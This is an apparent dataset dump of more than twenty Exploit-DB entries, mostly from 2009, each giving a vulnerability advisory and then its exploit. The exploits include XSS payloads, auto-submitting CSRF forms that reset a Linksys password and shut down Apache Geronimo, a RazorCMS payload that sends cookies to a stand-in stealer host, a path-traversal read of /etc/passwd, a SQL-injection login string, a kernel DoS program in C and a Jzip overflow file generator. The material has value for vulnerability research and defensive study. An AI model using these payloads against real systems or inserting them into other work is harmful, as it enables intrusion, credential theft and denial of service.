QLWD/code_shield huggingface dataset:
标题: Online Contact Manager 3.0 - 'view.php?id' Cross-Site Scripting EDB-ID: 32934 CVE: 2009-4926 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/34626/info
 
Online Contact Manager is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Online Contact Manager 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/view.php?id=+<script>alert(123)</script> URL: https://www.exploit-db.com/exploits/32934
标题: Linksys WRT54GC 1.5.7 Firmware - 'administration.cgi' Access Validation EDB-ID: 32931 CVE: 2009-1561 类型: REMOTE 平台: HARDWARE 发布日期: 2009-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/34616/info

The Linksys WRT54GC router is prone to an access-validation vulnerability because of a lack of authentication when users access specific administration applications.

Successful attacks will lead to a compromise of the vulnerable device, which may lead to further attacks.

Linksys WRT54GC running firmware 1.05.7 is vulnerable; other versions may also be affected.

<html><body> <form method="POST" action="http://IP_ADDRESS:8080/administration.cgi" name="senha" ENCTYPE="multipart/form-data"> <INPUT type="hidden" name="sysPasswd" value="12345" maxLength=20 size=21> <INPUT type="hidden" name="sysConfirmPasswd" value="12345" maxLength=20 size=21> </form> <!-- C?digo de envio autom?tico do formul?rio --> <SCRIPT language="JavaScript"> document.senha.submit(); </SCRIPT> URL: https://www.exploit-db.com/exploits/32931
标题: Apache Geronimo 2.1.x - '/console/portal/Server/Monitoring' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32920 CVE: 2009-0038 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/34562/info

Apache Geronimo Application Server is prone to multiple remote vulnerabilities:

- Multiple directory-traversal vulnerabilities
- A cross-site scripting vulnerability
- Multiple HTML-injection vulnerabilities
- A cross-site request-forgery vulnerability

Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.

Apache Geronimo 2.1 through 2.1.3 are vulnerable.

http://www.example.com/console/portal/Server/Monitoring

Vulnerable parameters: "name", "ip", "username", "description".

Attacker can inject scripts into monitorings.

Example [Monitoring - Create View]:

name = <script>alert('DSecRG XSS')</script>
description = &lt;/textarea&gt;<script>alert("DSecRG XSS")</script>

or

http://www.example.com/console/portal//Server/Monitoring/__ac0x3monitoring0x2monitoring!126896788|0/__pm0x3monitoring0x2monitoring!126896788|0_edit?action=saveA
ddView&name="><script>alert("DSecRG XSS")</script>&description=&lt;/textarea&gt;<script>alert("DSecRG XSS")</script> URL: https://www.exploit-db.com/exploits/32920
标题: Apache Geronimo 2.1.x - '/console/portal/' URI Cross-Site Scripting EDB-ID: 32921 CVE: 2009-0038 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/34562/info
 
Apache Geronimo Application Server is prone to multiple remote vulnerabilities:
 
- Multiple directory-traversal vulnerabilities
- A cross-site scripting vulnerability
- Multiple HTML-injection vulnerabilities
- A cross-site request-forgery vulnerability
 
Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.
 
Apache Geronimo 2.1 through 2.1.3 are vulnerable.

http://www.example.com/console/portal/"><script>alert('DSecRG XSS')</script><!-- URL: https://www.exploit-db.com/exploits/32921
标题: RazorCMS 0.3RC2 - Multiple Vulnerabilities EDB-ID: 32924 CVE: 2009-1458 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/34566/info

razorCMS is prone to a local information-disclosure vulnerability, a local access-validation vulnerability, a security-bypass vulnerability, and multiple cross-site-scripting vulnerabilities.

Attackers can exploit these issues to gain access to sensitive information, create denial-of-service conditions, gain elevated privileges, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. Successful exploits may aid in further attacks.

razorCMS 0.3RC2 is vulnerable; other versions may also be affected.

http://www.example.com/cms/admin/?action=edit&slab=home&#039;><script>alert(&#039;http://yourcookiestealer.org/evil.php?cookie=&#039;%20+%20encodeURI(document.cookie)%20+%20&#039;&useragent=&#039;%20+%20encodeURI(navigator.userAgent));</script><form

http://www.example.com/cms/admin/?action=showcats&unpub=true&slabID=1&catname=sidebar&#039;><script>alert(&#039;http://yourcookiestealer.org/evil.php?cookie=&#039;%20+%20encodeURI(document.cookie)%20+%20&#039;&useragent=&#039;%20+%20encodeURI(navigator.userAgent));</script><form

http://www.example.com/cms/admin/?action=reordercat&cat=sidebar&#039;><script>alert(&#039;http://yourcookiestealer.org/evil.php?cookie=&#039;%20+%20encodeURI(document.cookie)%20+%20&#039;&useragent=&#039;%20+%20encodeURI(navigator.userAgent));</script><form&param=0,1 URL: https://www.exploit-db.com/exploits/32924
标题: Apache Geronimo 2.1.x - Cross-Site Request Forgery (Multiple Admin Function) EDB-ID: 32922 CVE: 2009-0039 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/34562/info
  
Apache Geronimo Application Server is prone to multiple remote vulnerabilities:
  
- Multiple directory-traversal vulnerabilities
- A cross-site scripting vulnerability
- Multiple HTML-injection vulnerabilities
- A cross-site request-forgery vulnerability
  
Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.
  
Apache Geronimo 2.1 through 2.1.3 are vulnerable.

<html>
        <form
action='http://www.example/console/portal//Server/Shutdown/__ac0x3console-base0x2ServerManager!-1172254814|0'
id=1>
                <input type=hidden value='Shutdown' name="shutdown">
                <input type=submit>
        </form>
</html>
<script>
        document.getElementById(1).submit();
</script> URL: https://www.exploit-db.com/exploits/32922
标题: BlackBerry Enterprise Server 4.0/4.1 - MDS Connection Service Cross-Site Scripting EDB-ID: 32927 CVE: 2009-0307 类型: WEBAPPS 平台: JAVA 发布日期: 2009-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/34573/info

BlackBerry Enterprise Server MDS Connection Service is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Versions prior to BlackBerry Enterprise Server 4.1.6 MR5 are vulnerable.

POST /admin/statistics/ConfigureStatistics HTTP/1.0
Cookie: JSESSIONID=....
Content-Length: 753
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: ...
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com:8080/admin/statistics/ConfigureStatistics

customDate=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E&
interval=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E&
lastCustomInterval=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E
&lastIntervalLength=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%
3E&nextCustomInterval=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript
%3E&nextIntervalLength=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%
2Fscript%3E&action=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E
&delIntervalIndex=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E&
addStatIndex=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E&
delStatIndex=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E&
referenceTime=%3E%22%27%3E%3Cscript%3Ealert%28782%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/32927
标题: Malleo 1.2.3 - 'admin.php' Local File Inclusion EDB-ID: 32928 CVE: 2009-1456 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/34588/info

Malleo is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view and execute arbitrary local files in the context of the webserver process. This may aid in further attacks.

Malleo 1.2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/path/admin.php?module=../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/32928
标题: Linux Kernel - 'group_info' refcounter Overflow Memory Corruption EDB-ID: 32926 CVE: 2014-2851 类型: DOS 平台: LINUX 发布日期: 2014-04-18 漏洞利用脚本: /*
 * DoS poc for CVE-2014-2851
 * Linux group_info refcounter overflow memory corruption
 *
 * https://lkml.org/lkml/2014/4/10/736
 *
 * @Tohmaxx - http://thomaspollet.blogspot.be
 *
 * If the app doesn't crash your system, try a different count (argv[1])
 * Execution takes a while because 2^32 socket() calls
 *
 */

#include <arpa/inet.h>
#include <stdio.h>
#include <sys/socket.h>
int main(int argc, char *argv[]) {
    int i ;
    struct sockaddr_in saddr;
    unsigned count = (1UL<<32) - 20 ;
    if(argc >= 2){
        // Specify count
        count = atoi(argv[1]);
    }
    printf("count 0x%x\n",count);
    for(i = 0 ; (unsigned)i < count;i++ ){
        socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
        if ( i % ( 1 << 22 ) == 0 )
            printf("%i \n",i);
    }
    //Now make it wrap and crash:
    system("/bin/echo bye bye");
} URL: https://www.exploit-db.com/exploits/32926
标题: Novell Teaming 1.0 - User Enumeration / Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32909 CVE: 2009-1294 类型: WEBAPPS 平台: JAVA 发布日期: 2009-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/34531/info

Novell Teaming is prone to a user-enumeration weakness and multiple cross-site scripting vulnerabilities.

A remote attacker can exploit the user-enumeration weakness to enumerate valid usernames and then perform brute-force attacks; other attacks are also possible.

The attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Novell Teaming 1.0.3 is vulnerable; other versions may also be affected. 

https://www.example.com/web/guest/home?p_p_id=82&p_p_action=1&p_p_state=%3Cscript%3Ealert('xss+vulnerability')%3C/script%3E&p_p_mode=view&p_p_col_id=column-2&p_p_col_pos=1&p_p_col_count=2&_82_struts_action=%2Flanguage%2Fview&_82_languageId=de_DE URL: https://www.exploit-db.com/exploits/32909
标题: IBM Tivoli Continuous Data Protection for Files 3.1.4.0 - Cross-Site Scripting EDB-ID: 32908 CVE: 2009-1334 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/34513/info

IBM Tivoli Continuous Data Protection for Files is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

IBM Tivoli Continuous Data Protection for Files 3.1.4.0 is vulnerable; other versions may also be affected.

http://www.example.com/login/FilepathLogin.html?reason=<script>alert(0)</script> URL: https://www.exploit-db.com/exploits/32908
标题: Microsoft Internet Explorer 8 - File Download Denial of Service EDB-ID: 32902 CVE: 2009-1335 类型: DOS 平台: WINDOWS 发布日期: 2009-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/34478/info

Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to hang the affected browser, resulting in denial-of-service conditions. 

#/usr/bin/env python
import sys
import random

CHAR_SET = [chr(x) for x in range(0x20)]
CHAR_SET += [chr(x) for x in range(128, 256)]

def send_file():
      l = 800000 + 4096
      print "Content-Type: text/plain"
      print "Content-Length: %d" % l
      print "Cache-Control: no-cache, no-store, must-revalidate"
      # this is not standardized, but use it anyway
      print "Pragma: no-cache"
      print ""
      # bypass IE download dialog
      sys.stdout.write("a" * 4096)
      # print junks
      for i in xrange(l):
              sys.stdout.write(random.choice(CHAR_SET))
      sys.exit()

send_file() URL: https://www.exploit-db.com/exploits/32902
标题: Jzip - Buffer Overflow (PoC) (SEH Unicode) EDB-ID: 32899 CVE: 2010-5300 类型: DOS 平台: WINDOWS 发布日期: 2014-04-16 漏洞利用脚本: #!/usr/bin/python
######################################################
# Exploit title: seh unicode buffer overflow (DOS)
# Date: 16/04/2014
# Exploit Author: motaz reda [motazkhodair[at]gmail.com]
# Software Link : http://www.jzip.com/
# Version: jZip v2.0.0.132900
# Tested On: Windows 7 ultimate
########################################################

import sys, os

filename = "vuln.zip"


buffer = "\x50\x4B\x03\x04\x14\x00\x00"
buffer += "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
buffer += "\x00\x00\x00\x00\x00\x00\x00\x00"
buffer += "\xe4\x0f"
buffer += "\x00\x00\x00"

eo = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
eo += "\x12\x10\x00\x00"
eo += "\x02\x10\x00\x00"
eo += "\x00\x00"

cdf = "\x50\x4B\x01\x02\x14\x00\x14"
cdf += "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
cdf += "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
cdf += "\xe4\x0f"
cdf += "\x00\x00\x00\x00\x00\x00\x01\x00"
cdf += "\x24\x00\x00\x00\x00\x00\x00\x00"

payload = "A" * 862
payload += "\x42\x42" # NSEH
payload += "\x42\x42" # SEH
payload += "D" * 3198
payload += ".txt"


file  = open(filename, "w")

zipfile = buffer + payload + cdf + payload + eo

file.write(zipfile)
file.close() URL: https://www.exploit-db.com/exploits/32899
标题: Microsoft Windows XP/2003 - RPCSS Service Isolation Privilege Escalation EDB-ID: 32892 CVE: 2009-0079 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/34443/info

Microsoft Windows is prone to a privilege-escalation vulnerability.

Successful exploits may allow attackers to elevate their privileges to LocalSystem, which would facilitate the complete compromise of affected computers.

The issue affects the following:

Windows XP SP2
Windows Server 2003

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6705.zip URL: https://www.exploit-db.com/exploits/32892
标题: Cisco Subscriber Edge Services Manager - Cross-Site Scripting / HTML Injection EDB-ID: 32897 CVE: 2009-1287 类型: WEBAPPS 平台: JAVA 发布日期: 2009-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/34454/info

Cisco Subscriber Edge Services Manager is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

We don't know which versions of Subscriber Edge Services Manager are affected. We will update this BID as more information emerges. 

http://www.example.com/servlet/JavascriptProbe?prevURL=http%3A//host/servlet/JavascriptProbe%3FprevURL%3Dhttp%253A//host/&browser=explorer&version=6&javascript=1.3&
getElementById=true&getElementTagName=true&documentElement=true&anchors=true&regexp=true&option=true&all=true&cookie=true&images=true&layers=false&forms=
true&links=true&frames=true&screen=%20true"><script>alert(1);</script>"


http://www.example.com/servlet/JavascriptProbe?prevURL=http%3A//host/servlet/JavascriptProbe%3FprevURL%3D%22%3E%3C&browser=explorer&version=6&javascript=1.3&getElem
entById=true&getElementTagName=true&documentElement=true&anchors=true&regexp=true&option=true&all=true&cookie=true&images=true&layers=false&forms=true&li
nks=true<a%20href%20=%20"http://www.host.net">HTML
Injection</a>&frames=true&screen=true& URL: https://www.exploit-db.com/exploits/32897
标题: IBM Bladecenter Advanced Management Module 1.42 - Login 'Username' Cross-Site Scripting EDB-ID: 32894 CVE: 2009-1288 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/34447/info

IBM BladeCenter Advanced Management Module is prone to the following remote vulnerabilities:

- An HTML-injection vulnerability
- A cross-site scripting vulnerability
- An information-disclosure vulnerability
- Multiple cross-site request-forgery vulnerabilities

An attacker can exploit these issues to obtain sensitive information, execute arbitrary script code, steal cookie-based authentication credentials, and perform actions as an authenticated user of the application. Other attacks are also possible.

Versions prior to BladeCenter Advanced Management Module 1.42U are vulnerable. 

For the HTML-injection issue:
username: </script><script src="//www.example.com"></script><script> URL: https://www.exploit-db.com/exploits/32894
标题: IBM Bladecenter Advanced Management Module 1.42 - '/private/file_Management.ssi?PATH' Cross-Site Scripting EDB-ID: 32895 CVE: 2009-1288 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/34447/info
 
IBM BladeCenter Advanced Management Module is prone to the following remote vulnerabilities:
 
- An HTML-injection vulnerability
- A cross-site scripting vulnerability
- An information-disclosure vulnerability
- Multiple cross-site request-forgery vulnerabilities
 
An attacker can exploit these issues to obtain sensitive information, execute arbitrary script code, steal cookie-based authentication credentials, and perform actions as an authenticated user of the application. Other attacks are also possible.
 
Versions prior to BladeCenter Advanced Management Module 1.42U are vulnerable. 

http://example.com/private/file_management.ssi?PATH=/etc"><script%20src="http://www.example.com"></script> URL: https://www.exploit-db.com/exploits/32895
标题: Microsoft Windows XP/Vista/2003/2008 - WMI Service Isolation Privilege Escalation EDB-ID: 32891 CVE: 2009-0078 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/34442/info

Microsoft Windows is prone to a privilege-escalation vulnerability.

Successful exploits may allow attackers to elevate their privileges to LocalSystem, which would facilitate the complete compromise of affected computers.

The issue affects the following:

Windows XP SP2
Windows Server 2003
Windows Vista
Windows Server 2008 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6705.zip URL: https://www.exploit-db.com/exploits/32891
标题: Microsoft Windows Vista/2008 - Thread Pool ACL Privilege Escalation EDB-ID: 32893 CVE: 2009-0080 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/34444/info

Microsoft Windows is prone to a privilege-escalation vulnerability.

Successful exploits may allow attackers to elevate their privileges to LocalSystem, which would facilitate the complete compromise of affected computers.

The issue affects the following:

Windows Vista
Windows Server 2008 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6705.zip URL: https://www.exploit-db.com/exploits/32893
标题: IBM Bladecenter Advanced Management Module 1.42 - Cross-Site Request Forgery EDB-ID: 32896 CVE: 2009-1290 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/34447/info
  
IBM BladeCenter Advanced Management Module is prone to the following remote vulnerabilities:
  
- An HTML-injection vulnerability
- A cross-site scripting vulnerability
- An information-disclosure vulnerability
- Multiple cross-site request-forgery vulnerabilities
  
An attacker can exploit these issues to obtain sensitive information, execute arbitrary script code, steal cookie-based authentication credentials, and perform actions as an authenticated user of the application. Other attacks are also possible.
  
Versions prior to BladeCenter Advanced Management Module 1.42U are vulnerable. 

<html> <body onload="document.foobar.submit()"> <form name="foobar" method="post" action="http://example.com/private/blade_power_action" style="display:none"> <input name="COMMAND" value="6.3.2"> <input name="STATE" value="0"> <input name="CHECKED" value="15"> <input name="selall" value="on"> <input name="sel" value="bl1"> <input name="sel" value="bl2"> <input name="sel" value="bl3"> <input name="sel" value="bl4"> <input name="JUNK" value="1"> </form> <body> </html> URL: https://www.exploit-db.com/exploits/32896
标题: Cisco ASA Appliance 7.x/8.0 WebVPN - Cross-Site Scripting EDB-ID: 32878 CVE: 2009-1220 类型: REMOTE 平台: HARDWARE 发布日期: 2009-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/34307/info

Cisco ASA is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Cisco ASA software versions 8.0.4(2B) and prior running on ASA 5500 Series Adaptive Security Appliances are vulnerable. 

POST /+webvpn+/index.html HTTP/1.1
Host: "'><script>alert('BugsNotHugs')</script><meta httpequiv=""
content='"www.example.org
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Referer: https://www.example.com/+webvpn+/index.html
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/1.3 (compatible; MSIE 3.0; Windows 3.11; .NET CLR 1.1.1032)
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: webvpnlogin=1
Content-Length: 66

username=psirt&password=easy&Login=Login&next=&tgroup=&tgcookieset= URL: https://www.exploit-db.com/exploits/32878
标题: Xlight FTP Server 3.2 - 'user' SQL Injection EDB-ID: 32877 CVE: 2009-4795 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/34288/info

Xlight FTP Server is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Xlight FTP Server 3.2.1 are affected.

The following example input is available:

User: ' OR '1'='1' ;# URL: https://www.exploit-db.com/exploits/32877
标题: Turnkey eBook Store 1.1 - 'keywords' Cross-Site Scripting EDB-ID: 32880 CVE: 2009-1225 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/34324/info

Turnkey eBook Store is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Turnkey eBook Store 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?cmd=search&keywords="><script>alert('XSS')</script>
http://www.example.com/index.php?cmd=search&keywords=<META HTTP-EQUIV="refresh" content="0; URL=http://www.example2.net"> URL: https://www.exploit-db.com/exploits/32880